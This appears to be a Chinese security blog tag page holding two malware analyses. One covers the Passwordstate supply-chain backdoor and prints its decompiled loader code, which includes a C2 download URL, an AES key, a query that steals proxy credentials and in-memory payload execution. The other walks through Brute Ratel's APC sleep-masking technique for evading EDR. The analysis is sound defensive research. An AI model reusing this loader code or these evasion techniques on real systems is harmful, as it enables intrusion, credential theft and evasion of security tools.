标签 C2 下的文章

2021年4月,企业密码管理软件 Passwordstate 遭遇供应链攻击,攻击者入侵了官方升级服务器,在更新包中植入后门。最近拿到了当时的恶意样本,来分析一下这个后门是怎么藏的、怎么工作的。


0x00 样本基本信息

先用 Exeinfo PE 扫一眼:

8di90ocrpo.png

文件名: 1.dll
类型: 32-bit .NET DLL
混淆: DeepSea Obfuscator v4

虽然有混淆,但 .NET 程序直接用 dnSpy 打开还是能看的。加载进去看到这样的结构:

xew99ic8ii.png

Moserware.SecretSplitter (0.12.0.0)
├── Loader
│   ├── Container
│   └── Loader
└── Moserware
    ├── Algebra
    ├── Numerics
    └── Security.Cryptography

看起来是个实现 Shamir 秘密共享算法的开源库,GitHub 上能搜到原版。但是多了个 Loader 目录...这就有意思了。


0x01 发现后门入口

翻了翻代码,在 Moserware.Security.Cryptography.Diffuser 这个类里发现了猫腻:

400tpx4rot.png

Public MustInherit Class Diffuser
    Protected Sub New()
        Container.Running(
            "https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip",
            "f4f15dddc3ba10dd443493a2a8a526b0",
            7200000,
            "Agent.Agent",
            "Invoke"
        )
    End Sub
End Class

好家伙,构造函数里直接调用了 Container.Running(),传了一堆参数进去。

这意味着只要有任何代码 new 了一个继承 Diffuser 的类,后门就会被触发。而 Diffuser 是个抽象基类,下面有好几个子类在用,触发条件太容易满足了。

作者选择把恶意代码藏在构造函数里,而不是静态构造函数,说明他不想在程序集加载时就暴露,而是等到真正使用加密功能时才激活。很狡猾。


0x02 后门核心逻辑分析

跟进 Loader.Container 类,这才是重头戏。

目标检测

bzgi9q6tjf.png

If Process.GetCurrentProcess().ProcessName.Equals("Passwordstate", StringComparison.OrdinalIgnoreCase) Then
    ' 只在目标进程中执行
End If

只有当宿主进程名是 Passwordstate 时才会激活。这是一款商业密码管理软件,看来这个后门是专门针对它的供应链攻击。

在沙箱或者分析环境里跑这个 DLL?抱歉,啥也不干,直接装死。这招能绕过很多自动化分析。

C2 通信

gq4j71r9yz.png

Private Shared Function [Get](u As String, ...) As Byte()
    ' 禁用证书验证,方便中间人
    ServicePointManager.ServerCertificateValidationCallback = Function(...) True

    ' 伪装成 Chrome 浏览器
    httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."

几个关键点:

  1. 禁用 SSL 证书验证 - 攻击者可以随时劫持流量
  2. User-Agent 伪装 - 流量看起来像正常浏览器请求
  3. URL 加时间戳 - 绕过缓存,确保每次都能拿到最新 payload

Payload 解密

96mgurgot1.png

Private Shared Function AESDecrypt(B64 As String, Key As String) As Byte()
    Return New RijndaelManaged() With {
        .Key = Encoding.UTF8.GetBytes(Key),
        .Mode = CipherMode.ECB,
        .Padding = PaddingMode.PKCS7
    }.CreateDecryptor().TransformFinalBlock(...)
End Function

从 C2 下载的内容是 Base64 编码的 AES 密文,密钥是硬编码的:

f4f15dddc3ba10dd443493a2a8a526b0

用的 ECB 模式,虽然不安全,但对于加载 payload 来说够用了。

凭据窃取彩蛋

翻代码的时候还发现个有意思的函数 GetProxyInfo

virg5nz4ru.png

Dim cmdText As String = "SELECT ProxyServer, ProxyUserName, ProxyPassword FROM [SystemSettings]"

后门会尝试从 Passwordstate 的数据库里偷代理配置。如果目标网络需要代理才能出网,后门会自动适配。想得真周到啊...

而且解密代理密码用的是 Passwordstate 自己的解密函数:

assembly.[GetType]("PasswordstateService.Passwordstate.Crypto").GetMethod("AES_Decrypt", ...)

借刀杀人,妙啊。


0x03 Payload 执行

最后看看 Loader.Loader 类,负责执行下载的 payload:

0e4d92ebe8391cfe9eb199066042cace.png}}

Private Sub ThreadFunc()
    Assembly.Load(Me.assemblyData) _
        .[GetType](Me.assemblyType) _
        .GetMethod(Me.assemblyMethod) _
        .Invoke(Nothing, Nothing)
End Sub

经典的无文件攻击:

  1. Assembly.Load() 直接从内存加载程序集
  2. 通过反射找到指定的类和方法
  3. 调用执行

根据硬编码的参数,它会执行 Agent.Agent.Invoke()。整个过程不落地文件,杀软很难检测。


0x04 攻击流程总结

Passwordstate 启动
        |
        v
加载 Moserware.SecretSplitter.dll
        |
        v
使用加密功能 -> 实例化 Diffuser 子类
        |
        v
触发构造函数 -> Container.Running()
        |
        v
检测进程名 == "Passwordstate" ?
        |
       YES
        v
下载 https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
        |
        v
AES 解密 (Key: f4f15dddc3ba10dd443493a2a8a526b0)
        |
        v
Assembly.Load() 内存加载
        |
        v
反射调用 Agent.Agent.Invoke()
        |
        v
每 2 小时循环检查更新


0x05 C2 域名分析

后门中硬编码的回连地址:

https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

拆解一下这个域名:

组成部分 说明
passwordstate 伪装成目标软件的官方域名
18ed2 随机字符串,可能用于区分不同攻击批次
kxcdn.com KeyCDN 的 CDN 域名

攻击者用 CDN 来托管恶意 payload 有几个好处:

  1. 隐藏真实服务器 - CDN 背后的源站 IP 不会直接暴露
  2. 提高可用性 - CDN 节点多,不容易被单点屏蔽
  3. 流量伪装 - HTTPS + 知名 CDN 域名,看起来像正常业务流量

事件背景

这个样本来自 2021 年 4 月的 Passwordstate 供应链攻击事件

  • 时间线: 2021年4月20日 20:33 UTC 至 4月22日 00:30 UTC(约28小时窗口期)
  • 攻击方式: 攻击者入侵了 Passwordstate 的升级服务器,篡改了官方更新包
  • 受影响范围: Passwordstate 被全球约 29,000 家企业使用,包括多家财富500强公司
  • 恶意软件名称: 被安全厂商命名为 Moserpass

攻击者把后门代码注入到了合法的开源库 Moserware.SecretSplitter 中,然后通过官方升级渠道推送给用户。在那28小时内执行过升级的用户,都中招了。


0x06 IOCs 汇总

网络指标:

域名: passwordstate-18ed2.kxcdn.com
URL:  https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

加密密钥:

AES Key: f4f15dddc3ba10dd443493a2a8a526b0

行为特征:

  • 进程名检测: Passwordstate
  • 禁用 SSL 证书验证
  • SQL 查询: SELECT ... FROM [SystemSettings]
  • 内存加载: Assembly.Load() + 反射执行
  • 心跳间隔: 7200000ms (2小时)



0x1.前言

Brute Ratel C4(以下简称BRC4)是一位印度老哥开发的C2,用于对抗EDR,也是一款极其优秀的C2了。本文使用的BRC4版本为1.2.2(早已经有更新的破解版本了,但载荷都大差不差)。生成马被称为Badger,类似CobaltStrike的Beacon。如下图是它支持的一些规避方法。在第一篇文章后分析其实现方式,第二篇文章实现此睡眠混淆方式,以及如何在自己开发的马中实现Sleeping Masking。

什么是睡眠混淆,简单的来说就是你的马运行后,为了opsec,需要Sleep,CobaltStrike等C2就是默认Sleep 60s,这就是睡眠的概念。混淆就是指为了规避AV/EDR的内存扫描,需要在内存中对我们的马进行加密,这样就绕过了内存扫描。

在本文中分析BRC4的睡眠混淆方法中的利用APC来达到Sleeping Masking。什么是APC参考MSDN: https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls

image-20260109111047796.png



0x02.利用APC进行Sleeping Masking分析

搭建BRC4这些就不说了,创建的监听器的时候,设置Sleep Mask为APC。

image-20260109150623146.png



然后生成马子进行分析,Stageless即可。

image-20260109150850812.png



写个简单的加载器,直接开始调试就行。开头有大量push操作,猜测是核心载荷被压入栈,直接跳过这些。

image-20260109152541979.png



需要先绕过NtGlobalFlag的反调试,把ZF标志位改了就行,接着往下。

image-20260109153108824.png



在通过Hash的方式获取到一些API的地址后,RC4解密出了一个被抹掉MZ头的PE文件,带解密的内容很显然是前面push压入的数据。得到的是核心载荷,后面可能被反射式注入执行。

image-20260109153249913.png



我们将这个PE文件从内存中Dump出来。

image-20260109153413118.png



然后很显然接下来的这个call,开始反射式注入此解密出PE文件了。

image-20260109154412958.png



然后call rax,跳到修复后DLL执行DllMain开始执行。这大概就是Badger的执行上线流程。

image-20260109154716516.png



上线后,我们关注点是Sleeping Masking。直接定位到睡眠混淆的地方。

image-20260109165852761.png



可以根据动态函数地址以及前面Dump出的PE,在IDA中修改函数名(其中调用很多函数都是通过Syscall),进行分析。首先会在堆上分配很多CONTEXT结构,这里的0x4D0代表CONTEXT结构体大小。

image-20260109170053749.png



往下判断是否开启CFG,开启的话,使用SetProcessValidCallTargets扩展CFG允许集合。这是为了后续构造ROP链执行做准备。

image-20260109171734879.png



image-20260109172111715.png



为什么这里判断是否开启CFG?在实际中,一般shellcode都是注入到别的系统进程中,而不是自己写的Loader,系统进程例如RunTimerBorker.exe基本都是开启CF Guard的。所以这里的判断很合理也必要。

image-20260109172406849.png



继续往下看。第一个if块这里不太明白是在干嘛,像是获取当前PE的VA,调试发现不会进入这一块,先跳过。第二个if块是最关键的位置,显然能够进入此if块执行,第一个条件是创建了一个Event对象,第二个是创建了一个挂起的线程,入口点是TpReleaseCleanupGroupMembers + 0x450的地方。这个线程主要是为了后续调用ZwGetThreadContext,为分配的CONTEXT结构体,提供一个正常的CONTEXT和执行APC回调的地方。

image-20260109173644610.png



往下进入第二个if块内容。首先给这几个CONTEXT结构体赋值,表明对什么寄存器感兴趣。然后通过ZwDuplicateObject赋值了当前线程的句柄。然后调用ZwGetThreadContext获取前面TpReleaseCleanupGroupMembers + 0x450入口线程的CONTEXT。并依次赋值到所有的CONTEXT中去。

image-20260109182034372.png



sub_10019490函数中,之所以没有rename是因为找不到合适的名字,这个函数获取了一个CONTEXT。这个CONTEXT是从当前进程但不是当前执行线程的CONTEXT,在ZwGetThreadContext后,在对这个CONTEXT的Rsp值和Rip值进行处理。

image-20260109182323048.png



奇怪的是该函数返回后并不会进入下面的if分支。不过这里像是在做堆栈欺骗类似的动作?先不管吧,继续往下。

image-20260109182658006.png



开始构造ROP链,对前面分配的每个CONTEXT进行赋值。Rcx、Rdx、R8、R9分别是前四个参数,Rip是要执行的API,返回地址为NtTestAlert,作用就是为了触发APC队列。ROP链执行函数的顺序为ZwWaitForSingleObject、NtProtectVirtualMemory、SystemFunction032、ZwGetContextThread、ZwSetContextThread、WaitForSingleObjectEx、SystemFunction032、NtProtectVirtualMemory、ZwSetContextThread、RtlExitUserThread。

image-20260112100700434.png



image-20260112102159224.png



其中SystemFunction032可能会让我们感到疑惑,这是微软未公开的函数,其实就是一个RC4加密算法,ReactOS可以看到定义,在advapi32.dll模块中实现。前后各调用一次,即是对在内存的载荷加解密。

image-20260112160004248.png



然后到了最关键的地方,通过NtQueueApcThread插入到指定线程的APC队列,回调函数为ZwContinue,其作用是恢复CONTEXT下文,参数即为前面分配赋值的CONTEXT。插入完成后,NtAlertResumeThread恢复ThreadHandle,这里的Thread就是前面的TpReleaseCleanupGroupMembers + 0x450,然后设置Alerted状态,开始执行APC队列。

首先执行ZwWaiteForSingleObject,这里是为了等待NtSignalAndWaitForSingleObject Signal EventHandle,然后Waite ThreadHandle。

image-20260112104428693.png



执行NtProtectVirtualMemory将内存属性修改为RW,这样极大减少了被扫描的可能性,很多AV内存扫描的目标仅仅是带有X属性的内存。

image-20260112113705851.png



SystemFunction032 RC4加密相关内存。

image-20260112113947107.png



然后调用ZwGetThreadContext,获取前面通过ZwDuplicateObject复制的TargetHandle句柄(badger执行的主线程)的CONTEXT结构,调用ZwSetThreadContext设置TargetHandle的CONTEXT为sub_10019490获取的CONTEXT,这里像是在做调用堆栈的伪装,但是前面没进入那个IF块,又不像堆栈欺骗。这里可能是在睡眠期间,将调用堆栈也做了混淆,目的是看不出在进行了APC等睡眠混淆的操作。

调用WaitForSingleObjectEx模拟正常睡眠,这个时间就是Listener或Profile中设置的Sleep时长(0x4E20 == 20000)。

image-20260112115746030.png



睡眠完成后开始恢复,首先是再次调用SystemFunction032 RC4解密内存。

image-20260112120012634.png



然后NtProtectVirtualMemory恢复内存属性。

image-20260112120056230.png



调用ZwSetThreadContext还原TargetHandle的CONTEXT上下文。最后RtlExitUserThread退出TpReleaseCleanupGroupMembers + 0x450线程。

至此一个完成睡眠混淆流程结束。对于一个存活时间长的马,睡眠时间栈大多数,执行任务的时间很短。

可能有人要问,为什么我不能直接对马改内存属性和加密呢?还要写APC回调?这样写其实解决了加密代码不能加密自己的问题,以及修改了内存属性如何改回来的问题,万一有些AV就专门盯着你写的那块加密代码,这样马就被杀了。

下一篇文章中,根据分析结果实现APC Sleeping Masking